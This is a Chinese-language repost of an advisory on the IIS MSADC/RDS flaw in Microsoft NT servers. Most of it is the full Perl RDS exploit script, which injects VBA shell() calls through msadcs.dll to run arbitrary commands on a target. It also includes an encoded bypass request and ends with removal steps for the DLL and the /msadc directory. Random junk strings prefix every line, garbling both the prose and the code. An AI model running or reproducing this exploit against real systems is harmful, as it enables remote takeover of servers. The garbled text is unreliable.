IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
8{e 3 _9
O' 涉及程序:
py4_hj\v Microsoft NT server
&NnMz9 hY9u#3 描述:
)ISTb 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
h2<$L 4(ZV\}j1 详细:
>GRuS\B 如果你没有时间读详细内容的话,就删除:
E/ )+hK& c:\Program Files\Common Files\System\Msadc\msadcs.dll
5E|2S_)G 有关的安全问题就没有了。
Z:Am\7 I F9hWB17u 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
j(2T,WM :]jtV~E\ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
_s,svQ8# 关于利用ODBC远程漏洞的描述,请参看:
\OH:xW~ 31Du@h8YX http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ajr8tp' I{bi3y0 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
@SXgaWr http://www.microsoft.com/security/bulletins/MS99-025faq.asp gH.^NO5\' rP_)*) 这里不再论述。
J6P
Tkm}^ q;JQs:U! 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
;hDr+&J| C(hg"_W ou /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
+ k:?;ZG 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
?Fv(4g D._r@~o ks4
,2f,2 #将下面这段保存为txt文件,然后: "perl -x 文件名"
SO"P3X 1)ne-e
#!perl
(
PlNaasV #
`6su_8Hno # MSADC/RDS 'usage' (aka exploit) script
sJ=B:3jS0 #
{D< ?.' # by rain.forest.puppy
(H^o8J
#
LPF?\mf ^4 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
&9tsk#bA.g # beta test and find errors!
O:)@J b2 _aYQ(FO use Socket; use Getopt::Std;
!vw0Y,F& getopts("e:vd:h:XR", \%args);
{\I\4P `Fr$q1qae{ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
i=@*F$, zZ-*/THB@R if (!defined $args{h} && !defined $args{R}) {
n9 DFa3 print qq~
-`&;3
7 Usage: msadc.pl -h <host> { -d <delay> -X -v }
iYkNtqn/ -h <host> = host you want to scan (ip or domain)
^`THV -d <seconds> = delay between calls, default 1 second
g-36Q~`9v -X = dump Index Server path table, if available
)-gyDA -v = verbose
V-0Y~T -e = external dictionary file for step 5
g=8e.Y*Fr ?Fu.,srt Or a -R will resume a command session
>{Q2S 3&f{lsLAC ~; exit;}
'z/hj>B< XlPy(> $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
YR2/`9s\QJ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
%3wK.tR if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
^gImb`<6- if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Dlp::U*N' $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
M*%Z5,Tc if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
*d 4D9( +,,~<Vm if (!defined $args{R}){ $ret = &has_msadc;
bql6Z1l die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
`'`XB0vb zF7T5Ge print "Please type the NT commandline you want to run (cmd /c assumed):\n"
G].Z| Z9 . "cmd /c ";
e6Y0G,K $in=<STDIN>; chomp $in;
]h6<o* $command="cmd /c " . $in ;
tEl_A"^e c9V'Z d# if (defined $args{R}) {&load; exit;}
{1[8,Ho KC'{>rt7 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
ND*5pRzvp &try_btcustmr;
%0QYkHdFR` "PPwJ/L( print "\nStep 2: Trying to make our own DSN...";
2cL<` &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
nm..$QL Yhfk{ CI print "\nStep 3: Trying known DSNs...";
t"Rn#V\c." &known_dsn;
90a=
39kI %"D-1&%zY print "\nStep 4: Trying known .mdbs...";
%-D2I &known_mdb;
eo!{rs@f Jh1fM`kB5K if (defined $args{e}){
#\qES7We6 print "\nStep 5: Trying dictionary of DSN names...";
MeC@+@C &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
oID,PB*9 &LE/hA print "Sorry Charley...maybe next time?\n";
wbTw\b= exit;
7o3f5"z *" wsMO ##############################################################################
Nsb13mlY Jc*A\-qC. sub sendraw { # ripped and modded from whisker
'0+-Hit? sleep($delay); # it's a DoS on the server! At least on mine...
t$b`Am my ($pstr)=@_;
;IyQqP#,< socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
q-'zZ# die("Socket problems\n");
8l6R.l
if(connect(S,pack "SnA4x8",2,80,$target)){
j1)w1WY0@ select(S); $|=1;
:7gIm|2"] print $pstr; my @in=<S>;
{8eNQ-4I select(STDOUT); close(S);
sqhM[u
k return @in;
}QK-@T@4< } else { die("Can't connect...\n"); }}
$P$OWp?b B4%W,F:@ ##############################################################################
\RJ428sxn "\30YO>\ sub make_header { # make the HTTP request
[1Rs~T" my $msadc=<<EOT
:0/I2: POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
*`[LsG]ZF User-Agent: ACTIVEDATA
~ ~&M&Fe
Host: $ip
&0'BCT Content-Length: $clen
-O\`G<s% Connection: Keep-Alive
c(:GsoO u7K0m!
jW ADCClientVersion:01.06
1:?WvDN= Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
\7RP6o qbjRw!2?w --!ADM!ROX!YOUR!WORLD!
C
7v
8 Content-Type: application/x-varg
:7'anj Content-Length: $reqlen
\O[Cae:^? !^w+<p EOT
`3~w#?+=* ; $msadc=~s/\n/\r\n/g;
[dL#0~CL$ return $msadc;}
rLVS#M#&e> /J^yOR9 ##############################################################################
O3S_P]{*ny I/ c*
? sub make_req { # make the RDS request
yA~W|q(/V my ($switch, $p1, $p2)=@_;
N7XRk=J my $req=""; my $t1, $t2, $query, $dsn;
&@yW<< g94NU
X if ($switch==1){ # this is the btcustmr.mdb query
DF<_Ns! $query="Select * from Customers where City=" . make_shell();
YkTEAI|i $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
_ 95V"h $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
f -bVcWI Xcb\N elsif ($switch==2){ # this is general make table query
!I@"+oY< $query="create table AZZ (B int, C varchar(10))";
YQ&Xd/z- $dsn="$p1";}
fU,sn5zZ "[76>\'H elsif ($switch==3){ # this is general exploit table query
>k"/:g^t $query="select * from AZZ where C=" . make_shell();
mD tD7FzJ $dsn="$p1";}
t<rhrW75P 6:Ra3!V"v elsif ($switch==4){ # attempt to hork file info from index server
Ef69]{E $query="select path from scope()";
)
b?HK SqI $dsn="Provider=MSIDXS;";}
{JMFCc[ zUeS7\(l elsif ($switch==5){ # bad query
wJip{ $query="select";
{{j?3O // $dsn="$p1";}
.hUndg 2s~X $t1= make_unicode($query);
-rUn4a $t2= make_unicode($dsn);
7tJPjp4l $req = "\x02\x00\x03\x00";
bPWIf*3# $req.= "\x08\x00" . pack ("S1", length($t1));
|+%K89W $req.= "\x00\x00" . $t1 ;
0]&~ddL $req.= "\x08\x00" . pack ("S1", length($t2));
uk16 $req.= "\x00\x00" . $t2 ;
+h"RXwlBM $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
|dK_^~;o return $req;}
't]=ps ,JX/`7y ##############################################################################
ygh*oVHO M(xd:Fa? sub make_shell { # this makes the shell() statement
;a2TONW return "'|shell(\"$command\")|'";}
XDU&Z2A {2A/ @$? ##############################################################################
z>~Hc8*]3 KnKV+:" sub make_unicode { # quick little function to convert to unicode
7Q2"]f,$CQ my ($in)=@_; my $out;
"YM)bc for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
52=?!
JM return $out;}
J=ZNx;{6 <^{|5u ##############################################################################
|d&a&6U: Z3)1!|#Q sub rdo_success { # checks for RDO return success (this is kludge)
Zj%l (OVq my (@in) = @_; my $base=content_start(@in);
,*Jm\u if($in[$base]=~/multipart\/mixed/){
1 %K^(J; return 1 if( $in[$base+10]=~/^\x09\x00/ );}
j"hfsA<_I return 0;}
Gz@'W%6yaV $3k5hDA0e ##############################################################################
5^+>*z ;CD@RP{$n sub make_dsn { # this makes a DSN for us
gq!|0 my @drives=("c","d","e","f");
1d,;e:=j print "\nMaking DSN: ";
hT]\*}, foreach $drive (@drives) {
> -OQk"o print "$drive: ";
#}3$n/ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
WbB0{s "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
se2ay_<F+ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
X2v|O3>/N $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
q,A; d^g return 0 if $2 eq "404"; # not found/doesn't exist
blEs!/A` if($2 eq "200") {
"CX&2Xfe foreach $line (@results) {
*%bQ p return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
A70x+mjy^T } return 0;}
EA8K*>'pv |p}qK
Fdi ##############################################################################
^^1rjh1I QE1DTU sub verify_exists {
eJlTCXeZ| my ($page)=@_;
3!ZndWSHV my @results=sendraw("GET $page HTTP/1.0\n\n");
:=3Ty]e return $results[0];}
}j;*7x8( *DcJ). ##############################################################################
SjgjGJw (< gk<e* sub try_btcustmr {
6SJ my @drives=("c","d","e","f");
H:TRJ.!w2 my @dirs=("winnt","winnt35","winnt351","win","windows");
ju~js HG{r\jh foreach $dir (@dirs) {
W{B)c?G] print "$dir -> "; # fun status so you can see progress
~ (I'm[ foreach $drive (@drives) {
>,wm-4&E print "$drive: "; # ditto
nO.RB#I$F $reqlen=length( make_req(1,$drive,$dir) ) - 28;
d2Pqi* K $reqlenlen=length( "$reqlen" );
(
E;!.=% $clen= 206 + $reqlenlen + $reqlen;
!N ua KeFEUHU my @results=sendraw(make_header() . make_req(1,$drive,$dir));
.Lbu[ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
p;$Vw6W= else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
?B7n,!&~ 9x$Kb7'F ##############################################################################
uY{V^c#mv j+YA/54` sub odbc_error {
,e<(8@BBL my (@in)=@_; my $base;
@
W[LA< my $base = content_start(@in);
*uoc;6 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
OiAP%7i9 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
HY|=Z\l" $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
2B Dz \ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
0Rgo#`7l return $in[$base+4].$in[$base+5].$in[$base+6];}
='"DUQH|* print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
b}s)3=X@q print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
g?-HAk6 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
V}_M\Y^^; \-i5b ##############################################################################
vy&q7EX<i kB:6e7D|[ sub verbose {
6d4)7PL my ($in)=@_;
ZxW4 i return if !$verbose;
anxZ|DE print STDOUT "\n$in\n";}
#4?Z|_j3 RHe'L36W ##############################################################################
e!BablG[ walQo^< sub save {
:jo
!Yi my ($p1, $p2, $p3, $p4)=@_;
cVk&Yp;[* open(OUT, ">rds.save") || print "Problem saving parameters...\n";
b9FfDDOq" print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
fdk]i/*) close OUT;}
]A.:8; wd86 y ##############################################################################
/-J12 O *?dw`j_b > sub load {
:s(vn Ie^ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
<B"M} Y>_P open(IN,"<rds.save") || die("Couldn't open rds.save\n");
N3 O~_=/v? @p=<IN>; close(IN);
>Z-f</v03 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
p) '.swpJ $target= inet_aton($ip) || die("inet_aton problems");
%z9eVkPI~ print "Resuming to $ip ...";
EkWipF( $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Wg \`!T if($p[1]==1) {
&\[3m^L $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
=XbOY[ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
xweV8k/ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
YI0ubB if (rdo_success(@results)){print "Success!\n";}
3"9'MDKH else { print "failed\n"; verbose(odbc_error(@results));}}
B}Lz#'5_ elsif ($p[1]==3){
p:g`K#[F if(run_query("$p[3]")){
gpt98:w: print "Success!\n";} else { print "failed\n"; }}
s{q)P1x elsif ($p[1]==4){
X%1j-;Wr@ if(run_query($drvst . "$p[3]")){
J^" print "Success!\n"; } else { print "failed\n"; }}
BC}+yS
\ exit;}
X"'c2gaa_ T8*< ##############################################################################
O:K={#Xj
B6| g2Tt sub create_table {
X}UR\8g my ($in)=@_;
^#:F8D $reqlen=length( make_req(2,$in,"") ) - 28;
SY: gr $reqlenlen=length( "$reqlen" );
X0IXj%\N $clen= 206 + $reqlenlen + $reqlen;
L!fiW`>0G my @results=sendraw(make_header() . make_req(2,$in,""));
*p&c}2' return 1 if rdo_success(@results);
8Df(|>mK my $temp= odbc_error(@results); verbose($temp);
WrzyBG_ return 1 if $temp=~/Table 'AZZ' already exists/;
i]sz*\P~ return 0;}
8+gti*C?\ %x Xib9J ##############################################################################
ze5Hg'f ?uiQ'} sub known_dsn {
F%<hng%k # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
$]H^? my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Hjho!np "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
aDXdr\C6 "banner", "banners", "ads", "ADCDemo", "ADCTest");
1K<4Kz~ ` #!~+ foreach $dSn (@dsns) {
Ujw J}j print ".";
x^s2bb next if (!is_access("DSN=$dSn"));
Cq-d, if(create_table("DSN=$dSn")){
!sbKJ+V7 print "$dSn successful\n";
4d\"gk if(run_query("DSN=$dSn")){
HkgmZw, print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
X^pxu6nm- print "Something's borked. Use verbose next time\n";}}} print "\n";}
bu&x&
M* oSDx9% ##############################################################################
f(Hh( Lbo8>L( sub is_access {
Woo2hg-ti my ($in)=@_;
lz=DP:/& $reqlen=length( make_req(5,$in,"") ) - 28;
7.G1Q]6/ $reqlenlen=length( "$reqlen" );
f{]eb1 $clen= 206 + $reqlenlen + $reqlen;
GoVB1) my @results=sendraw(make_header() . make_req(5,$in,""));
G'*_7HD my $temp= odbc_error(@results);
WGxe3(d verbose($temp); return 1 if ($temp=~/Microsoft Access/);
[8T return 0;}
Ib$*w)4: 3M/iuu ##############################################################################
eh@6trzp= 1Tn0$+$.4 sub run_query {
S}0W<H P my ($in)=@_;
+Xa^3 =B $reqlen=length( make_req(3,$in,"") ) - 28;
y-Xd~<*Ia $reqlenlen=length( "$reqlen" );
IB!^dhD!Q $clen= 206 + $reqlenlen + $reqlen;
Cpyv@+;D my @results=sendraw(make_header() . make_req(3,$in,""));
hJ)>BeH0 return 1 if rdo_success(@results);
pWU3?U my $temp= odbc_error(@results); verbose($temp);
b?h)~j5 return 0;}
ZjlFr( cy0
%tsB| ##############################################################################
q?Jd.r5* uydy[n\ sub known_mdb {
kPh;SCr{ my @drives=("c","d","e","f","g");
R`7v3{ my @dirs=("winnt","winnt35","winnt351","win","windows");
CA0SH{PdW& my $dir, $drive, $mdb;
J2c.J/o my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
d@+}_R"c ;B8#Nf # this is sparse, because I don't know of many
>lD*:#o my @sysmdbs=( "\\catroot\\icatalog.mdb",
)kMA_\$, "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
gnAM} "\\system32\\certmdb.mdb",
s n|q
EH "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
m
6Xex.d !^o(?1 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
6##}zfl "\\cfusion\\cfapps\\forums\\forums_.mdb",
(WW*yv.J "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
>g ):xi3qK "\\cfusion\\cfapps\\security\\realm_.mdb",
+Lq;0tRC "\\cfusion\\cfapps\\security\\data\\realm.mdb",
$~#N1 "\\cfusion\\database\\cfexamples.mdb",
994 "\\cfusion\\database\\cfsnippets.mdb",
k>W5ts2+ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
KJ7[DN'( "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
me-:A:si "\\cfusion\\brighttiger\\database\\cleam.mdb",
A7{l60(5 "\\cfusion\\database\\smpolicy.mdb",
t}Z*2=DO "\\cfusion\\database\cypress.mdb",
HwE1cOT "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
r*-e~ "\\website\\cgi-win\\dbsample.mdb",
mp^;8??; "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
@uIY+_E40g "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
lq4vX^S ); #these are just
Lk%u(duU^ foreach $drive (@drives) {
6$]p;}# foreach $dir (@dirs){
?dWfupO{ foreach $mdb (@sysmdbs) {
2r3]DrpJ print ".";
] D(laqS;" if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
?DN4j!/$ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
e ]@Ex if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
(}$~)f#s print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
IW48Sg } else { print "Something's borked. Use verbose next time\n"; }}}}}
"E? 8.`T )gO=5_^u*o foreach $drive (@drives) {
>a5M:s) foreach $mdb (@mdbs) {
IaxzkX_48 print ".";
iQrTEp if(create_table($drv . $drive . $dir . $mdb)){
r_sZw@lqJ print "\n" . $drive . $dir . $mdb . " successful\n";
*O`76+iZ|_ if(run_query($drv . $drive . $dir . $mdb)){
?;\xeFy! print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
(-lu#hJ`&r } else { print "Something's borked. Use verbose next time\n"; }}}}
os\"(*dix }
c0lVt)pr/ c|f)k:Q ##############################################################################
D$sG1*@s- k+(UpO=/* sub hork_idx {
;$ot,mH?T print "\nAttempting to dump Index Server tables...\n";
1wx&/#a print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
MX3ss,F $reqlen=length( make_req(4,"","") ) - 28;
h6!o,qw" $reqlenlen=length( "$reqlen" );
/eM_:H5 $clen= 206 + $reqlenlen + $reqlen;
p1dqDgF* my @results=sendraw2(make_header() . make_req(4,"",""));
i(eLE"G+ if (rdo_success(@results)){
9Y9pKTU my $max=@results; my $c; my %d;
E8-8E2i, for($c=19; $c<$max; $c++){
@$5! $results[$c]=~s/\x00//g;
:+1S+w $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
RETq S $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
C:$12{I?* $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
1' #%UA $d{"$1$2"}="";}
eRlJ foreach $c (keys %d){ print "$c\n"; }
n&?]GyQ } else {print "Index server doesn't seem to be installed.\n"; }}
Z19d Ted33 UOWOOdWSB ##############################################################################
*{5L*\AZ X%+FM] sub dsn_dict {
$,vZX u|Qw open(IN, "<$args{e}") || die("Can't open external dictionary\n");
{H$F!}a while(<IN>){
!fFmQ\|)4S $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
"}uPz4 next if (!is_access("DSN=$dSn"));
7e,EI9?. if(create_table("DSN=$dSn")){
V^qZ~US print "$dSn successful\n";
Vt_NvPB` if(run_query("DSN=$dSn")){
F8q &v" print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
97H2hYw9l print "Something's borked. Use verbose next time\n";}}}
#
;,b4O7@ print "\n"; close(IN);}
_IAvFJI S9sFC!s1g ##############################################################################
R5QSf+/T4 l8n}&zX sub sendraw2 { # ripped and modded from whisker
Z%*_kk sleep($delay); # it's a DoS on the server! At least on mine...
(n&Hjz,Fv my ($pstr)=@_;
b"Hg4i) socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
O5PCR6U die("Socket problems\n");
AHws5#;$6* if(connect(S,pack "SnA4x8",2,80,$target)){
G0sg\] print "Connected. Getting data";
J~Gq#C^e open(OUT,">raw.out"); my @in;
Ji7%=_@'-# select(S); $|=1; print $pstr;
.Gq)@{o> while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
=rj5 q close(OUT); select(STDOUT); close(S); return @in;
c;,jb } else { die("Can't connect...\n"); }}
{7`eR2#Wq s'LY)_n ##############################################################################
v})0zz?,1 Q+ ;6\.#r sub content_start { # this will take in the server headers
>@b70X!J] my (@in)=@_; my $c;
&[BDqi for ($c=1;$c<500;$c++) {
UQl3Tq4QM if($in[$c] =~/^\x0d\x0a/){
nq#k}Qx: if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
r4}:t$ else { return $c+1; }}}
f-5vE9G3y7 return -1;} # it should never get here actually
^>?gFvWB% 5 ^}zysY` ##############################################################################
Im{I23.2 _oxc~v\< sub funky {
<Bc J;X/ my (@in)=@_; my $error=odbc_error(@in);
mw<LNnT{8 if($error=~/ADO could not find the specified provider/){
5S'89 r3m print "\nServer returned an ADO miscofiguration message\nAborting.\n";
@DT${,.49 exit;}
89F^I"Im( if($error=~/A Handler is required/){
dMsX}=EI< print "\nServer has custom handler filters (they most likely are patched)\n";
'?+q3lps exit;}
#vhxW=L`= if($error=~/specified Handler has denied Access/){
M*)}F print "\nServer has custom handler filters (they most likely are patched)\n";
B7qm;(?X& exit;}}
+{
QyB umXa ##############################################################################
g/+P]c6/ 8UB-(~ sub has_msadc {
mDmy637_ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
zBWn*A[4 my $base=content_start(@results);
^ N]u return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
oDp!^G2A" return 0;}
clQN@1] M 7O{c>@\
########################
/?l@7 9)p VDS 8W?/Sg` 解决方案:
bet?5Dk 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
}E$^!q{ 2、移除web 目录: /msadc